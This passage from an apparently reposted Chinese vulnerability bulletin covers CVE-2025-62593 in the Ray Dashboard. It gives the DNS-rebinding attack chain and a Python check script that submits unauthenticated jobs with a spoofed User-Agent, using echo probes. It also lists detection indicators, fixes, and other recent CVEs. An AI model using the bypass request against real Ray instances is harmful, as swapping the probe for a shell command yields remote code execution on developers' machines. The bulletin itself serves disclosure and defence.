# &nbsp; 3. DNS rebinding 成功后,iFrame 中的 JS 向
# &nbsp; &nbsp; &nbsp;http://127.0.0.1:8265/api/jobs/ 发送 POST
# &nbsp; &nbsp; &nbsp;(User-Agent: Other 绕过防护)
# &nbsp; 4. 恶意 job entrypoint 被执行 → 任意命令执行

3️⃣ 最小化 Python 验证脚本(检测未认证 Dashboard + 防护绕过)

#!/usr/bin/env python3
"""
CVE-2025-62593 — Ray Dashboard 未认证 RCE 条件验证
注意: 仅用于授权安全测试(仅检测,不提交恶意job)
"""
importrequests
importjson
importsys
importurllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

defcheck(target="http://127.0.0.1:8265"):
&nbsp; &nbsp;&nbsp;target=target.rstrip("/")
&nbsp; &nbsp;&nbsp;s=requests.Session()

&nbsp; &nbsp;&nbsp;# 1. 验证 Dashboard 未认证可达
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=s.get(target+"/",&nbsp;timeout=5)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] Dashboard 根路径 → HTTP&nbsp;{r.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if"JavaScript"notinr.text:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] 未识别为 Ray Dashboard")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp;&nbsp;exceptExceptionase:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 连接失败:&nbsp;{e}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp;&nbsp;# 2. 验证浏览器UA防护(模拟浏览器UA的POST应被405拦截)
&nbsp; &nbsp;&nbsp;r=s.post(target+"/api/jobs/",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;headers={"User-Agent":&nbsp;"Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;json={"entrypoint":&nbsp;"echo test",&nbsp;"runtime_env": {}},&nbsp;timeout=5)
&nbsp; &nbsp;&nbsp;print(f"[*] 浏览器UA POST /api/jobs/ → HTTP&nbsp;{r.status_code}&nbsp;(405=防护生效)")

&nbsp; &nbsp;&nbsp;# 3. 验证非浏览器UA可绕过防护(CVE-2025-62593 核心)
&nbsp; &nbsp;&nbsp;r=s.post(target+"/api/jobs/",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;headers={"User-Agent":&nbsp;"Other"}, &nbsp;&nbsp;# ← Firefox/Safari fetch 可伪造
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;json={"entrypoint":&nbsp;"echo harmless-probe",&nbsp;"runtime_env": {}},
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;timeout=5)
&nbsp; &nbsp;&nbsp;print(f"[*] 伪造UA POST /api/jobs/ → HTTP&nbsp;{r.status_code}")
&nbsp; &nbsp;&nbsp;ifr.status_code==200:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] ⚠️ 目标 Ray 未认证且 UA 防护可绕过 → 存在 CVE-2025-62593 利用条件")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;(浏览器 DNS rebinding 后即可远程执行任意命令)")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] 目标可能已修复(≥2.52.0)或防护不同")

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;check(sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"http://127.0.0.1:8265")

4️⃣ 利用链图示

恶意网站/广告(攻击者) ──访问──► 开发者浏览器 (Firefox/Safari)
&nbsp; &nbsp; &nbsp; │ &nbsp;DNS rebinding: 域名先解析攻击者服务器, 后重绑定 127.0.0.1
&nbsp; &nbsp; &nbsp; ▼
&nbsp; 浏览器同源放行 → fetch("http://127.0.0.1:8265/api/jobs/")
&nbsp; &nbsp; &nbsp; │ &nbsp;User-Agent: Other &nbsp;← Firefox/Safari 允许修改, 绕过 "Mozilla" 前缀防护
&nbsp; &nbsp; &nbsp; ▼
&nbsp; Ray Dashboard (无认证) 创建 job, entrypoint=恶意shell命令
&nbsp; &nbsp; &nbsp; ▼
&nbsp; 开发者机器任意命令执行 (RCE)
&nbsp; &nbsp; &nbsp; ├── 本机代码执行/数据窃取 (VC:H VI:H VA:H)
&nbsp; &nbsp; &nbsp; ├── 内网 Ray 实例横向攻击 (confused deputy, SC:H)
&nbsp; &nbsp; &nbsp; └── 供应链: 开发机被控 → 投毒 CI/CD

🛡️ 检测与防御

日志检测IOC

- Ray Dashboard 访问日志出现 User-Agent 非 Mozilla 开头的 POST /api/jobs/
- /api/jobs/ 出现高频异常 job 提交(job_submission_id 为时间戳)
- 浏览器 DNS 查询异常:同一域名短时间内解析到公网IP后又解析到 127.0.0.1
- 未认证访问 Dashboard 的 /api/ 系列端点

修复建议

| 方式 | 说明 | | — | — | | 立即升级 | Ray ≥ 2.52.0(commit 70e7c72780;同时新增默认关闭的 token 认证特性,见 Ray Security Token Auth 文档,建议开启) | | 开启认证 | 升级后启用 Ray 内置 token 认证(--dashboard-auth / ray.security.token-auth),防止未授权 API 调用 | | 网络隔离 | Dashboard 绑定 127.0.0.1,不暴露到局域网/公网;开发机防火墙限制 8265 端口入站 | | 浏览器防护 | 部署 DNS rebinding 缓解(浏览器 PNA/Local Network Access 特性、企业 DNS 过滤);Chrome 用户暂不受该漏洞影响 | | 员工意识 | 提醒 AI/ML 开发人员避免在开发机上用 Firefox/Safari 访问不明网站;警惕恶意广告 | | 审计排查 | 检查开发机 Ray 日志中是否有异常 job 提交记录;怀疑被控时轮换开发机凭据 |

🔗 参考来源

  • NVD CVE-2025-62593
  • GitHub Advisory GHSA-q279-jhrf-cc6v(完整PoC)
  • nccgroup/singularity PR #68(攻击工具集成)
  • 修复 commit 70e7c72780
  • CISA KEV
  • Ray Security Token Auth

📊 今日其他漏洞速览

| CVE编号 | 产品 | 类型 | CVSS | 严重程度 | | — | — | — | — | — | | CVE-2026-75079 | SourceCodester Class & Exam Timetabling 1.0 | SQL注入 (/edit_subject2.php) | 7.3 | 🟠 HIGH | | CVE-2026-75080 | SourceCodester Class & Exam Timetabling 1.0 | SQL注入 (/edit_subject1.php) | 7.3 | 🟠 HIGH | | CVE-2026-33824 | Microsoft IKE Service Extensions | Double Free RCE(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-59310 | VMware vCenter | 路径遍历RCE(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-55040 | Microsoft SharePoint | 弱认证绕过(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-65400 | Apple macOS | Screen Sharing 认证绕过(KEV 08-18收录,截止08-21) | — | 🔴 在野利用 | | CVE-2026-64849 | MLflow < 3.15.0 | 未认证全读SSRF(KEV 08-19收录,截止09-02) | 9.3 | 🔴 CRITICAL | | CVE-2025-62593 | Ray < 2.52.0 | 浏览器DNS重绑定RCE(KEV 08-17收录,截止08-20) | 9.4 | 🔴 CRITICAL |

🛡️ 优先行动建议

优先等级 &nbsp; &nbsp;行动 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;说明
────────────────────────────────────────────────────
🔴 最高 &nbsp; &nbsp; Ray 升级 ≥2.52.0 + 开认证 &nbsp; &nbsp;KEV截止日=今天(08-20)!开发机RCE,PoC已公开
🔴 最高 &nbsp; &nbsp; MLflow 升级 ≥3.15.0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 未认证全读SSRF可窃取云IAM凭据,KEV在野利用
🔴 紧急 &nbsp; &nbsp; KEV新收录4项到期处置 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IKE/SharePoint/vCenter/macOS 截止08-21(明天)
🟠 紧急 &nbsp; &nbsp; SourceCodester 系统排查 &nbsp; &nbsp; &nbsp; 两款SQLi PoC已公开,公网可达即面临风险
🟡 关注 &nbsp; &nbsp; 内网资产扫描 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 确认 Ray/MLflow 实例暴露面与版本

⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 MLflow Webhook投递未认证全读SSRF》

评论:0   参与:  0